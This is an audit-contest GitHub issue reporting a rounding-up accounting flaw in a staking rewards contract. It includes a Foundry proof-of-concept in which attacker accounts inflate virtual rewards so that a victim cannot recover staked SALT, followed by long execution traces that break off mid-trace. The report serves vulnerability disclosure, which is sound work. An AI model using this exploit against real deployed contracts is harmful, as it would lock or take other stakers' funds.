search

code-423n4 / 2024-01-salty-findings

11 stars 6 forks source link

Rounding up can miscalculate rewards for users in staking contracts #715

Closed c4-bot-1 closed 8 months ago

c4-bot-1 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L81

Vulnerability details

Impact

When calculating the virtual rewards and the total rewards when increasing shares in StakeRewards, the calculaculation rounds up:

uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

That could be thought to be in favour of the protocol, however, it can account rewards that are not actually inside the contract. As a result, someone can claim rewards that are basically discounted form other staker balances.

Check the Proof of concept

Proof of Concept

Setup:

contract TestComprehensive1 is Deployment
    {
    // User wallets for testing
    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);
    address public constant delta = address(0x4444);

    function setUp() public
        {
        vm.startPrank(DEPLOYER);
        salt = new Salt();
        vm.stopPrank();

        vm.startPrank(DEPLOYER);

        daoConfig = new DAOConfig();
        poolsConfig = new PoolsConfig();
        IStakingConfig stakingConfig2 = new StakingConfig();
        usds = new USDS();

        managedTeamWallet = new ManagedWallet(teamWallet, teamConfirmationWallet);
        exchangeConfig = new ExchangeConfig(salt, wbtc, weth, dai, usds, managedTeamWallet );

        priceAggregator = new PriceAggregator();
        liquidizer = new Liquidizer(exchangeConfig, poolsConfig);

        pools = new Pools(exchangeConfig, poolsConfig);
        staking = new Staking( exchangeConfig, poolsConfig, stakingConfig2 );

        accessManager = new AccessManager(dao);

        exchangeConfig.setAccessManager(accessManager);
        vm.stopPrank();
        grantAccessAlice();
        grantAccessBob();
        grantAccessCharlie();

        }

Proof of Concept:

    function testAttackStakingWrongAccounting() public {

        bytes32[] memory poolIDs = new bytes32[](1);
        poolIDs[0] = bytes32(0);

        address victim = alice;
        address attackerAccount1 = bob;
        address attackerAccount2 = charlie;

        vm.startPrank(DEPLOYER);
        salt.transfer(victim, 100 ether);
        salt.transfer(attackerAccount1, 100 ether + 1);
        salt.transfer(attackerAccount2, 100 ether);
        vm.stopPrank();

        // Victim stakes 100 SALT
        vm.startPrank(victim);
        salt.approve(address(staking), 100 ether);
        staking.stakeSALT(100 ether);
        vm.stopPrank();

        viewResults("Victim stakes 100 SALT");

        // Attacker stakes 100 SALT and adds 1 single unit of SALT rewards with his account 1
        vm.startPrank(attackerAccount1);
        salt.approve(address(staking), 100 ether);
        staking.stakeSALT(100 ether);
        addSaltRewards(1);
        vm.stopPrank();

        viewResults("Attacker stakes 100 SALT and adds 1 reward");

        // Attacker stakes 100 SALT, immediately unstakes and cancelsUnstake with his account 2
        vm.startPrank(attackerAccount2);
        salt.approve(address(staking), 100 ether);
        staking.stakeSALT(100 ether);
        uint256 unstakeID = staking.unstake(100 ether, 52);
        staking.cancelUnstake(unstakeID);
        vm.stopPrank();

        viewResults("Attacker2 updates his virtual rewards");

        // At this point there are not enough funds to return to stakers if they unstake entirely
        // So if the attacker unstakes both amounts before the victim, the victim will not be able
        // to recover the staked SALT because the contract will not have enough funds
        vm.startPrank(attackerAccount1);
        uint256 attackerAccount1ID = staking.unstake(100 ether, 52);
        vm.stopPrank();

        vm.startPrank(attackerAccount2);
        uint256 attackerAccount2ID = staking.unstake(100 ether, 52);
        vm.stopPrank();

        vm.startPrank(victim);
        uint256 victimID = staking.unstake(100 ether, 52);
        vm.stopPrank();

        skip(53 weeks);

        vm.startPrank(attackerAccount1);
        staking.recoverSALT(attackerAccount1ID);
        vm.stopPrank();

        vm.startPrank(attackerAccount2);
        staking.recoverSALT(attackerAccount2ID);
        vm.stopPrank();

        // The victim will not be able to recover his SALT
        vm.startPrank(victim);
        vm.expectRevert();
        staking.recoverSALT(victimID);
        vm.stopPrank();
    }

Output traces:

Running 1 test for src/scenario_tests/StakingPoCTests.t.sol:TestComprehensive1
[PASS] testAttackStakingWrongAccounting() (gas: 1030472)
Logs:
  -----------------------------
  Victim stakes 100 SALT
  Current total rewards 0
  Current staking SALT balance 100000000000000000000
  Alice SALT balance 0
  Bob SALT balance 100000000000000000001
  Charlie SALT balance 100000000000000000000

  Total shares 100000000000000000000
  Alice shares 100000000000000000000
  Bob shares 0
  Charlie shares 0
  -----------------------------
  -----------------------------
  Attacker stakes 100 SALT and adds 1 reward
  Current total rewards 1
  Current staking SALT balance 200000000000000000001
  Alice SALT balance 0
  Bob SALT balance 0
  Charlie SALT balance 100000000000000000000

  Total shares 200000000000000000000
  Alice shares 100000000000000000000
  Bob shares 100000000000000000000
  Charlie shares 0
  -----------------------------
  -----------------------------
  Attacker2 updates his virtual rewards
  Current total rewards 3
  Current staking SALT balance 300000000000000000001
  Alice SALT balance 0
  Bob SALT balance 0
  Charlie SALT balance 0

  Total shares 300000000000000000000
  Alice shares 100000000000000000000
  Bob shares 100000000000000000000
  Charlie shares 100000000000000000000
  -----------------------------

Traces:
  [1034684] TestComprehensive1::testAttackStakingWrongAccounting() 
    ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) 
    │   └─ ← ()
    ├─ [29734] Salt::transfer(0x0000000000000000000000000000000000001111, 100000000000000000000 [1e20]) 
    │   ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 100000000000000000000 [1e20])
    │   └─ ← true
    ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 100000000000000000001 [1e20]) 
    │   ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000002222, value: 100000000000000000001 [1e20])
    │   └─ ← true
    ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000003333, 100000000000000000000 [1e20]) 
    │   ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000003333, value: 100000000000000000000 [1e20])
    │   └─ ← true
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) 
    │   └─ ← ()
    ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) 
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20])
    │   └─ ← true
    ├─ [82572] Staking::stakeSALT(100000000000000000000 [1e20]) 
    │   ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20])
    │   ├─ [22025] Salt::transferFrom(0x0000000000000000000000000000000000001111, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) 
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20])
    │   │   └─ ← true
    │   ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000001111, amountStaked: 100000000000000000000 [1e20])
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] console::log(-----------------------------) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log(Victim stakes 100 SALT) [staticcall]
    │   └─ ← ()
    ├─ [3316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [0]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001543757272656e7420746f74616c20726577617264730000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall]
    │   └─ ← 100000000000000000000 [1e20]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000001c43757272656e74207374616b696e672053414c542062616c616e636500000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000001111) [staticcall]
    │   └─ ← 0
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012416c6963652053414c542062616c616e63650000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000002222) [staticcall]
    │   └─ ← 100000000000000000001 [1e20]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000010000000000000000000000000000000000000000000000000000000000000010426f622053414c542062616c616e636500000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000003333) [staticcall]
    │   └─ ← 100000000000000000000 [1e20]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000000000000000000000014436861726c69652053414c542062616c616e6365000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log( ) [staticcall]
    │   └─ ← ()
    ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [100000000000000000000 [1e20]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [100000000000000000000 [1e20]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c416c696365207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [3532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [0]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a426f622073686172657300000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [3532] Staking::userShareForPools(0x0000000000000000000000000000000000003333, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [0]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e436861726c696520736861726573000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log(-----------------------------) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) 
    │   └─ ← ()
    ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) 
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20])
    │   └─ ← true
    ├─ [32952] Staking::stakeSALT(100000000000000000000 [1e20]) 
    │   ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20])
    │   ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) 
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20])
    │   │   └─ ← true
    │   ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 100000000000000000000 [1e20])
    │   └─ ← ()
    ├─ [22504] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 1) 
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 1)
    │   └─ ← true
    ├─ [26968] Staking::addSALTRewards([(0x0000000000000000000000000000000000000000000000000000000000000000, 1)]) 
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit SaltRewardsAdded(poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountAdded: 1)
    │   ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 1) 
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 1)
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] console::log(-----------------------------) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log(Attacker stakes 100 SALT and adds 1 reward) [staticcall]
    │   └─ ← ()
    ├─ [1316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [1]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001543757272656e7420746f74616c20726577617264730000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall]
    │   └─ ← 200000000000000000001 [2e20]
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000ad78ebc5ac6200001000000000000000000000000000000000000000000000000000000000000001c43757272656e74207374616b696e672053414c542062616c616e636500000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000001111) [staticcall]
    │   └─ ← 0
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012416c6963652053414c542062616c616e63650000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000002222) [staticcall]
    │   └─ ← 0
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010426f622053414c542062616c616e636500000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000003333) [staticcall]
    │   └─ ← 100000000000000000000 [1e20]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000000000000000000000014436861726c69652053414c542062616c616e6365000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log( ) [staticcall]
    │   └─ ← ()
    ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [200000000000000000000 [2e20]]
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000ad78ebc5ac6200000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [100000000000000000000 [1e20]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c416c696365207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [100000000000000000000 [1e20]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000a426f622073686172657300000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000003333, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [0]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e436861726c696520736861726573000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log(-----------------------------) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333) 
    │   └─ ← ()
    ├─ [24604] Salt::approve(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) 
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20])
    │   └─ ← true
    ├─ [33128] Staking::stakeSALT(100000000000000000000 [1e20]) 
    │   ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000003333) [staticcall]
    │   │   ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000003333) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20])
    │   ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000003333, Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], 100000000000000000000 [1e20]) 
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000003333, to: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], value: 100000000000000000000 [1e20])
    │   │   └─ ← true
    │   ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000003333, amountStaked: 100000000000000000000 [1e20])
    │   └─ ← ()
    ├─ [138169] Staking::unstake(100000000000000000000 [1e20], 52) 
    │   ├─ [2306] StakingConfig::minUnstakeWeeks() [staticcall]
    │   │   └─ ← 2
    │   ├─ [2307] StakingConfig::maxUnstakeWeeks() [staticcall]
    │   │   └─ ← 52
    │   ├─ [2351] StakingConfig::minUnstakePercent() [staticcall]
    │   │   └─ ← 20
    │   ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 0)
    │   ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000003333, unstakeID: 0, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52)
    │   └─ ← 0
    ├─ [28144] Staking::cancelUnstake(0) 
    │   ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall]
    │   │   └─ ← true
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 100000000000000000000 [1e20])
    │   ├─ emit UnstakeCancelled(user: 0x0000000000000000000000000000000000003333, unstakeID: 0)
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] console::log(-----------------------------) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log(Attacker2 updates his virtual rewards) [staticcall]
    │   └─ ← ()
    ├─ [1316] Staking::totalRewardsForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [3]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000001543757272656e7420746f74616c20726577617264730000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall]
    │   └─ ← 300000000000000000001 [3e20]
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000001043561a8829300001000000000000000000000000000000000000000000000000000000000000001c43757272656e74207374616b696e672053414c542062616c616e636500000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000001111) [staticcall]
    │   └─ ← 0
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012416c6963652053414c542062616c616e63650000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000002222) [staticcall]
    │   └─ ← 0
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010426f622053414c542062616c616e636500000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [583] Salt::balanceOf(0x0000000000000000000000000000000000003333) [staticcall]
    │   └─ ← 0
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014436861726c69652053414c542062616c616e6365000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log( ) [staticcall]
    │   └─ ← ()
    ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [300000000000000000000 [3e20]]
    ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000001043561a8829300000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [100000000000000000000 [1e20]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000c416c696365207368617265730000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [100000000000000000000 [1e20]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000a426f622073686172657300000000000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000003333, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall]
    │   └─ ← [100000000000000000000 [1e20]]
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000000000000e436861726c696520736861726573000000000000000000000000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log(-----------------------------) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) 
    │   └─ ← ()
    ├─ [171998] Staking::unstake(100000000000000000000 [1e20], 52) 
    │   ├─ [306] StakingConfig::minUnstakeWeeks() [staticcall]
    │   │   └─ ← 2
    │   ├─ [307] StakingConfig::maxUnstakeWeeks() [staticcall]
    │   │   └─ ← 52
    │   ├─ [351] StakingConfig::minUnstakePercent() [staticcall]
    │   │   └─ ← 20
    │   ├─ [22934] Salt::transfer(0x0000000000000000000000000000000000002222, 1) 
    │   │   ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000002222, value: 1)
    │   │   └─ ← true
    │   ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 1)
    │   ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000002222, unstakeID: 1, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52)
    │   └─ ← 1
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333) 
    │   └─ ← ()
    ├─ [125669] Staking::unstake(100000000000000000000 [1e20], 52) 
    │   ├─ [306] StakingConfig::minUnstakeWeeks() [staticcall]
    │   │   └─ ← 2
    │   ├─ [307] StakingConfig::maxUnstakeWeeks() [staticcall]
    │   │   └─ ← 52
    │   ├─ [351] StakingConfig::minUnstakePercent() [staticcall]
    │   │   └─ ← 20
    │   ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000003333, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 0)
    │   ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000003333, unstakeID: 2, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52)
    │   └─ ← 2
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) 
    │   └─ ← ()
    ├─ [155759] Staking::unstake(100000000000000000000 [1e20], 52) 
    │   ├─ [306] StakingConfig::minUnstakeWeeks() [staticcall]
    │   │   └─ ← 2
    │   ├─ [307] StakingConfig::maxUnstakeWeeks() [staticcall]
    │   │   └─ ← 52
    │   ├─ [351] StakingConfig::minUnstakePercent() [staticcall]
    │   │   └─ ← 20
    │   ├─ [22934] Salt::transfer(0x0000000000000000000000000000000000001111, 1) 
    │   │   ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000001111, value: 1)
    │   │   └─ ← true
    │   ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 1)
    │   ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000001111, unstakeID: 3, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52)
    │   └─ ← 3
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [0] VM::warp(1738618548 [1.738e9]) 
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) 
    │   └─ ← ()
    ├─ [8994] Staking::recoverSALT(1) 
    │   ├─ [3034] Salt::transfer(0x0000000000000000000000000000000000002222, 100000000000000000000 [1e20]) 
    │   │   ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000002222, value: 100000000000000000000 [1e20])
    │   │   └─ ← true
    │   ├─ emit SALTRecovered(user: 0x0000000000000000000000000000000000002222, unstakeID: 1, saltRecovered: 100000000000000000000 [1e20], expeditedUnstakeFee: 0)
